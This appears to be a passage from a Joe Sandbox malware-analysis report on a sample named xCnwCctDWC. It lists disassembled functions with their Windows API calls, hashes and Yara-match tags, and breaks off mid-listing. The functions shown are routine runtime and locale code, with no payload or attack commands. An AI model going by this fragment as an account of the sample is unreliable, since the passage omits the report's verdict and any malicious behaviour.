GetCurrentProcess.KERNEL32(00000000,?,006A009C,00000000,00457970,0000000C,006A01F3,00000000,00000002,00000000), ref: 006A00E7
TerminateProcess.KERNEL32(00000000,?,006A009C,00000000,00457970,0000000C,006A01F3,00000000,00000002,00000000), ref: 006A00EE
ExitProcess.KERNEL32 ref: 006A0100

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 5e7a358d5f0fcd19f7a1f5c916dd47094927e45ce0fce04ddfdee5a2d3ebffdf
Instruction ID: 7c7c65ad16e37d72347d7bf2923c0b739ba9d0b58ca1e4e3a2153689bc19b810
Opcode Fuzzy Hash: 5e7a358d5f0fcd19f7a1f5c916dd47094927e45ce0fce04ddfdee5a2d3ebffdf
Instruction Fuzzy Hash: 86E0B635000548ABDF11BF94DD49A993B6AEF46B46B104028F9059B231CB36DE42DE48

Function 0042FE5F Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,0042FE35,00000003,00457970,0000000C,0042FF8C,00000003,00000002,00000000,?,0042DFBF,00000003), ref: 0042FE80
TerminateProcess.KERNEL32(00000000,?,0042FE35,00000003,00457970,0000000C,0042FF8C,00000003,00000002,00000000,?,0042DFBF,00000003), ref: 0042FE87
ExitProcess.KERNEL32 ref: 0042FE99

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 5e7a358d5f0fcd19f7a1f5c916dd47094927e45ce0fce04ddfdee5a2d3ebffdf
Instruction ID: 8c82726c098bb25b52c6af08a7b8273a11ccbc153eb778ed9611e77f52f83783
Opcode Fuzzy Hash: 5e7a358d5f0fcd19f7a1f5c916dd47094927e45ce0fce04ddfdee5a2d3ebffdf
Instruction Fuzzy Hash: B3E04635100148ABCF126F50ED08A5A3B39FF09B56F810439F8068B236CB39EE42CA88

Function 006A8C59 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 006A8D23

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 214cb01e33ec6b9459e4b79cb8e50baccc65f9bab5c6278872b1ce9ffd0fa8ee
Instruction ID: 71522f46bf5c9f426d01c5d8360e715009568f3341ea8c4d938a7ca06954b3a9
Opcode Fuzzy Hash: 214cb01e33ec6b9459e4b79cb8e50baccc65f9bab5c6278872b1ce9ffd0fa8ee
Instruction Fuzzy Hash: E6412872900219AECB20BFB9CC49EEB77BAEB81714F104669F905D7280EA319D41CF64

Function 004389F2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 00438ABC

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 9f35882ade819549731607cbebdcf7e443c3af80474b374bb13d2dd880a55ca5
Instruction ID: b1d1c733bd69e792f2c7091433d2a564ecb1a1065cd437496777377bd66813c7
Opcode Fuzzy Hash: 9f35882ade819549731607cbebdcf7e443c3af80474b374bb13d2dd880a55ca5
Instruction Fuzzy Hash: 1A412B725003196FCB20AFB9DC49EBBB778EB88714F50566EF905D7280EA34AD41CB58

Function 004351C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,00430213,?,00000004), ref: 00435213

Strings

GetLocaleInfoEx, xrefs: 004351D1, 004351DB

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 64730f8190c419499ef2262387837ca1d33de23438e6729a1ee39c968f658f2e
Instruction ID: 6c622d5e0ad0a6d1c05e93c1424bc95a701370efe176ef79413d4e55be9de99b
Opcode Fuzzy Hash: 64730f8190c419499ef2262387837ca1d33de23438e6729a1ee39c968f658f2e
Instruction Fuzzy Hash: 97F02B31680318BBDB016F51CC02F6F7B21EF18B02F10006BFC0567290DA799E20AADE

Function 00672605 Relevance: 3.1, APIs: 2, Instructions: 125nativewindowCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,?,?,?), ref: 0067262C
PostQuitMessage.USER32(00000000), ref: 006727CA

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: MessageNtdllPostProc_QuitWindow
String ID:
API String ID: 4264772764-0
Opcode ID: e934076550e84698602cd97162307a7d632c652edc7a108d85d40228a86a25f4
Instruction ID: d984421b3452f14e2fc2d3f0017fd389bbe49a88ba44aa24a471afac789ed628
Opcode Fuzzy Hash: e934076550e84698602cd97162307a7d632c652edc7a108d85d40228a86a25f4
Instruction Fuzzy Hash: 2B41412596434095E331FFA5BC55B6533B0FF64722F10652BE528CB2B2E3B28540C35E

Function 0067092B Relevance: 2.6, Strings: 2, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 006709DC, 006709DF, 006709E4
., xrefs: 0067095F

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.
API String ID: 0-2443869724
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: fdea5112b507ed43f9be9818f2c68c7f3a31b4d59b07ba3e2894d317889efb2f
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 54317AB6910609DFEB10CF99C880AEEBBF6FF48324F24904AD545A7311D771EA45CBA4

Function 006A6F26 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,006A6F21,?,?,00000008,?,?,006AF3E2,00000000), ref: 006A7153

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 48238cf6710726b9619f53d2e144ba1457a585c9b7e66ee0334f1f17764c4bba
Instruction ID: 59a79e0c82a8b64a1883849acce7ae1b95e49416e09f2e09eb601d65a9e3d28c
Opcode Fuzzy Hash: 48238cf6710726b9619f53d2e144ba1457a585c9b7e66ee0334f1f17764c4bba
Instruction Fuzzy Hash: 50B14A712146089FD715DF28C886BA57BE2FF46364F298658E899CF2A1C335ED92CF40

Function 00436CBF Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00436CBA,?,?,00000008,?,?,0043F17B,00000000), ref: 00436EEC

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 48238cf6710726b9619f53d2e144ba1457a585c9b7e66ee0334f1f17764c4bba
Instruction ID: 64e3da0580c1687aacde15a9aed21cd267913b72937e2db5c37d982a735c0e1f
Opcode Fuzzy Hash: 48238cf6710726b9619f53d2e144ba1457a585c9b7e66ee0334f1f17764c4bba
Instruction Fuzzy Hash: 69B17D35210609EFD714CF28C48AB657BE0FF09324F26D659E899CF2A1C339E992CB44

Function 006AB8AC Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 006A2141: GetLastError.KERNEL32(?,?,0069A9EC,?,00000000,?,0069CDE6,0067247E,00000000,?,00451F20), ref: 006A2145
Part of subcall function 006A2141: _free.LIBCMT ref: 006A2178
Part of subcall function 006A2141: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21B9

Part of subcall function 006A2141: _free.LIBCMT ref: 006A21A0
Part of subcall function 006A2141: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21AD

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006AB900

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale
String ID:
API String ID: 2955987475-0
Opcode ID: 8d1e0dff99db69fa77e1a690083a2ab2b0404bead7d8da99940a9befd189831e
Instruction ID: 110bf2136c74e4e3cd9c95b0137b33576597b049badbc35c94820fe67401ff20
Opcode Fuzzy Hash: 8d1e0dff99db69fa77e1a690083a2ab2b0404bead7d8da99940a9befd189831e
Instruction Fuzzy Hash: AE21A17255020A9BDB24BE24DC42BBB73AEEB07310F10117AEE01D6253EB399D44DF54

Function 0043B645 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00431EDA: GetLastError.KERNEL32(?,?,0042DFE5,00457910,00000010), ref: 00431EDE
Part of subcall function 00431EDA: _free.LIBCMT ref: 00431F11
Part of subcall function 00431EDA: SetLastError.KERNEL32(00000000), ref: 00431F52

Part of subcall function 00431EDA: _free.LIBCMT ref: 00431F39
Part of subcall function 00431EDA: SetLastError.KERNEL32(00000000), ref: 00431F46

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0043B699

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLast$_free$InfoLocale
String ID:
API String ID: 2955987475-0
Opcode ID: 7810810a637c9db15668f97de096a3c7ef99c71437c6b6a4b8ea3eac9e26399b
Instruction ID: d046272b768734764790121d12bbe36070ecd09619f9604c2cd6a0fe40238023
Opcode Fuzzy Hash: 7810810a637c9db15668f97de096a3c7ef99c71437c6b6a4b8ea3eac9e26399b
Instruction Fuzzy Hash: B421B67251020AABDB249E65CC42BBB73A8EF48314F10107BFE01D6281EB79DD44CB99

Function 006AB534 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006A2141: GetLastError.KERNEL32(?,?,0069A9EC,?,00000000,?,0069CDE6,0067247E,00000000,?,00451F20), ref: 006A2145
Part of subcall function 006A2141: _free.LIBCMT ref: 006A2178
Part of subcall function 006A2141: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21B9

EnumSystemLocalesW.KERNEL32(0043B3F5,00000001,00000000,?,006A0A1C,?,006ABC89,00000000,?,?,?), ref: 006AB5A6

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: ffafb835184771a8fee8a968cb960d5e6389dd898606227e18ebf87d931cb5f8
Instruction ID: d92052c7990c1f37c1ff70bffce944e2d9e20460714b162dfca15ebad45fe15e
Opcode Fuzzy Hash: ffafb835184771a8fee8a968cb960d5e6389dd898606227e18ebf87d931cb5f8
Instruction Fuzzy Hash: 3A11293A6007015FDB18AF39C8A16BABB92FF85318B14442CEA4687741D371BD02CB40

Function 0043B2CD Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00431EDA: GetLastError.KERNEL32(?,?,0042DFE5,00457910,00000010), ref: 00431EDE
Part of subcall function 00431EDA: _free.LIBCMT ref: 00431F11
Part of subcall function 00431EDA: SetLastError.KERNEL32(00000000), ref: 00431F52

EnumSystemLocalesW.KERNEL32(0043B3F5,00000001,00000000,?,004307B5,?,0043BA22,00000000,?,?,?), ref: 0043B33F

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: 209f9151615a4c87f00d4ea0f4f536091c38e7646036be2875dd2bb4f2ddf691
Instruction ID: 7307f244e070286786186ca11be292e9958ff85af34fd5d1bf47ea8df294ed07
Opcode Fuzzy Hash: 209f9151615a4c87f00d4ea0f4f536091c38e7646036be2875dd2bb4f2ddf691
Instruction Fuzzy Hash: D91106362007019FDB189F3988917BBB791FF84318F15452DEA8687B40D375A902C784

Function 006ABADC Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 006A2141: GetLastError.KERNEL32(?,?,0069A9EC,?,00000000,?,0069CDE6,0067247E,00000000,?,00451F20), ref: 006A2145
Part of subcall function 006A2141: _free.LIBCMT ref: 006A2178
Part of subcall function 006A2141: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21B9

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,006AB87A,00000000,00000000,?), ref: 006ABB08

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale_free
String ID:
API String ID: 787680540-0
Opcode ID: 211d6faacd7aebbddaf1521eced52ad029ab4ad6bdece50ad0f57ab5ad071f03
Instruction ID: d87ed5c6df97707a0ed71e2eece3bee26975daa76b13def344326f442d138b73
Opcode Fuzzy Hash: 211d6faacd7aebbddaf1521eced52ad029ab4ad6bdece50ad0f57ab5ad071f03
Instruction Fuzzy Hash: A0F0F932A101156BDB286A24CC45BFAB75AFB41714F040469ED05A3285EF70BE028AE4

Function 0043B875 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00431EDA: GetLastError.KERNEL32(?,?,0042DFE5,00457910,00000010), ref: 00431EDE
Part of subcall function 00431EDA: _free.LIBCMT ref: 00431F11
Part of subcall function 00431EDA: SetLastError.KERNEL32(00000000), ref: 00431F52

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0043B613,00000000,00000000,?), ref: 0043B8A1

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLast$InfoLocale_free
String ID:
API String ID: 787680540-0
Opcode ID: d4489b39268ae4454a785e185639656f72d6012a52ca4bd703596e7082c16f5e
Instruction ID: 37b951b57323e1638715454beaabcd8ff4bbdb448c8d666509202632d17d74d0
Opcode Fuzzy Hash: d4489b39268ae4454a785e185639656f72d6012a52ca4bd703596e7082c16f5e
Instruction Fuzzy Hash: 72F0F932910115BFDB2C6A6588057BB776CEF44764F15542FEE05A3280EB39FE4287D8

Function 006AB8A3 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 006A2141: GetLastError.KERNEL32(?,?,0069A9EC,?,00000000,?,0069CDE6,0067247E,00000000,?,00451F20), ref: 006A2145
Part of subcall function 006A2141: _free.LIBCMT ref: 006A2178
Part of subcall function 006A2141: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21B9

Part of subcall function 006A2141: _free.LIBCMT ref: 006A21A0
Part of subcall function 006A2141: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21AD

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006AB900

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale
String ID:
API String ID: 2955987475-0
Opcode ID: d32582cdea7e1768c45f561c62b89e044e33708acaf6235ec9442aa70aeaeee6
Instruction ID: bc6bda3ce8ceeb302fcb45dcef45af4bf776e93433b9b9b54083d9153b2f5aef
Opcode Fuzzy Hash: d32582cdea7e1768c45f561c62b89e044e33708acaf6235ec9442aa70aeaeee6
Instruction Fuzzy Hash: 9C012632A911059BCB14AF74DC41ABA33A9DF06311B0441BEEF06DB282DA755D008B54

Function 006AB5CF Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006A2141: GetLastError.KERNEL32(?,?,0069A9EC,?,00000000,?,0069CDE6,0067247E,00000000,?,00451F20), ref: 006A2145
Part of subcall function 006A2141: _free.LIBCMT ref: 006A2178
Part of subcall function 006A2141: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21B9

EnumSystemLocalesW.KERNEL32(0043B645,00000001,?,?,006A0A1C,?,006ABC4D,006A0A1C,?,?,?,?,?,006A0A1C,?,?), ref: 006AB61B

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: be0c1418a5537eaa7c8022095862ccd701d6029552e7400e1215369425bfd1f6
Instruction ID: 9b4a9448a4f6df13788076c1cc8ae74fdb2f85c3084954ab12600bc4d075fe04
Opcode Fuzzy Hash: be0c1418a5537eaa7c8022095862ccd701d6029552e7400e1215369425bfd1f6
Instruction Fuzzy Hash: 31F046363007041FDB246F39DC81BBABB92EF8232CF14402CFA058B642D7719C028B04

Function 0043B368 Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00431EDA: GetLastError.KERNEL32(?,?,0042DFE5,00457910,00000010), ref: 00431EDE
Part of subcall function 00431EDA: _free.LIBCMT ref: 00431F11
Part of subcall function 00431EDA: SetLastError.KERNEL32(00000000), ref: 00431F52

EnumSystemLocalesW.KERNEL32(0043B645,00000001,?,?,004307B5,?,0043B9E6,004307B5,?,?,?,?,?,004307B5,?,?), ref: 0043B3B4

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: ff4b281e18efaa19658e03831a8d75929bd5cd68572c305843f6b1aa6eea9166
Instruction ID: e409c1f6f572afb8e53c6bef185f66c51efc5fed4ad0f11af6fa15d84cefb54f
Opcode Fuzzy Hash: ff4b281e18efaa19658e03831a8d75929bd5cd68572c305843f6b1aa6eea9166
Instruction Fuzzy Hash: 84F022362007045FDB159F3ADC91B6A7B90EF84328F15442EFE028B680D7B5AC028684

Function 006A5427 Relevance: 1.5, APIs: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,006A047A,?,00000004), ref: 006A547A

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 07f8c7bf41114017428d2514f108cb7953daff0745a9299ad745c6acdc6e13f2
Instruction ID: 459200514cd3489402c0943208556544e574cb90c29e488697b76e3fafcf81a3
Opcode Fuzzy Hash: 07f8c7bf41114017428d2514f108cb7953daff0745a9299ad745c6acdc6e13f2
Instruction Fuzzy Hash: 46F09631680718BBDB11AF60DC02F6E7B66EF09B12F504159FD0666290DA719D20AA9E

Function 006A5034 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0069E654: RtlEnterCriticalSection.NTDLL(00220DAF), ref: 0069E663

EnumSystemLocalesW.KERNEL32(00434D87,00000001,00457BB8,0000000C), ref: 006A506C

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 149a1b447c4ca571c705eb83a82105c6c8b5f7f3924206eb96c0dadbe136b747
Instruction ID: d323f7754df8b6daa74589f3938d4c5ad9ee813ef88af3b07e02617bdddd44ef
Opcode Fuzzy Hash: 149a1b447c4ca571c705eb83a82105c6c8b5f7f3924206eb96c0dadbe136b747
Instruction Fuzzy Hash: 8CF04F32A10304DFEB50EF68D906B5D77F1AF05721F10426AF900DB2E2CB759944CB49

Function 00434DCD Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042E3ED: EnterCriticalSection.KERNEL32(?,?,00431C7A,?,00457A38,00000008,00431D48,?,?,?), ref: 0042E3FC

EnumSystemLocalesW.KERNEL32(00434D87,00000001,00457BB8,0000000C), ref: 00434E05

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 47d67bb98ae687caab0f152daec36b922070e938420cb95d1256d2dc5184026a
Instruction ID: 538c22e4eb892f32bc8c86ea5e443232934619ae82977abc573478e901e73d8c
Opcode Fuzzy Hash: 47d67bb98ae687caab0f152daec36b922070e938420cb95d1256d2dc5184026a
Instruction Fuzzy Hash: D4F04F32A103009FE710EF69D906B9D77E1AF05726F10416AF910DB2E2CB7999808F49

Function 006AB4E9 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006A2141: GetLastError.KERNEL32(?,?,0069A9EC,?,00000000,?,0069CDE6,0067247E,00000000,?,00451F20), ref: 006A2145
Part of subcall function 006A2141: _free.LIBCMT ref: 006A2178
Part of subcall function 006A2141: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21B9

EnumSystemLocalesW.KERNEL32(0043B1D9,00000001,?,?,?,006ABCAB,006A0A1C,?,?,?,?,?,006A0A1C,?,?,?), ref: 006AB520

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: 17a3dc99c73c840853923c14692af3efa017a2bf6fb03d58d7281da58e8ea8e8
Instruction ID: c5e538b42d519ba6776426da810a102f21079418d06f4a95aee931ed64888279
Opcode Fuzzy Hash: 17a3dc99c73c840853923c14692af3efa017a2bf6fb03d58d7281da58e8ea8e8
Instruction Fuzzy Hash: 5FF0553A30020957CB08AF3ADC157AABF91EFC2B50B0A005DEF098B291C3319C42CB90

Function 0043B282 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00431EDA: GetLastError.KERNEL32(?,?,0042DFE5,00457910,00000010), ref: 00431EDE
Part of subcall function 00431EDA: _free.LIBCMT ref: 00431F11
Part of subcall function 00431EDA: SetLastError.KERNEL32(00000000), ref: 00431F52

EnumSystemLocalesW.KERNEL32(0043B1D9,00000001,?,?,?,0043BA44,004307B5,?,?,?,?,?,004307B5,?,?,?), ref: 0043B2B9

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: d795fd725da8cf926aceeb2c3e7fa24b7794cc6b9bd948e6377232035fe4f002
Instruction ID: ec76e124c96d5fb6d75208995366108955e3ecd697e122142a5eb02f601840fd
Opcode Fuzzy Hash: d795fd725da8cf926aceeb2c3e7fa24b7794cc6b9bd948e6377232035fe4f002
Instruction Fuzzy Hash: C8F0553A30020897CB089F7BE81976BBF90EFC5754F0A409EEF098B290C3399942C794

Function 006808CD Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00410672,0067FE60), ref: 006808D2

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b15aee9717d6502a1a2a20d9443c42d18a3a581c825a371cb40572de9e709067
Instruction ID: fa39807fe97804f53db995cd18131740e6dead46809b56a5c9e59eb8483b0dbe
Opcode Fuzzy Hash: b15aee9717d6502a1a2a20d9443c42d18a3a581c825a371cb40572de9e709067
Instruction Fuzzy Hash:

Function 00410666 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00010672,0040FBF9), ref: 0041066B

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b15aee9717d6502a1a2a20d9443c42d18a3a581c825a371cb40572de9e709067
Instruction ID: fa39807fe97804f53db995cd18131740e6dead46809b56a5c9e59eb8483b0dbe
Opcode Fuzzy Hash: b15aee9717d6502a1a2a20d9443c42d18a3a581c825a371cb40572de9e709067
Instruction Fuzzy Hash:

Function 0043BBC1 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0043BBC1

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: b4ea6d87a370488c09fcd641e95d7d939a449e6ed78a54530fece2258cf524d5
Instruction ID: 646215492ee1b006629ac518ce4a11708067c45d14fae9e363609ac2be79142b
Opcode Fuzzy Hash: b4ea6d87a370488c09fcd641e95d7d939a449e6ed78a54530fece2258cf524d5
Instruction Fuzzy Hash: 3FA02230A00300EF8380CF30AE0830E3BE8BE03AC3B008238A002C3030EB30C0808B08

Function 004373D9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

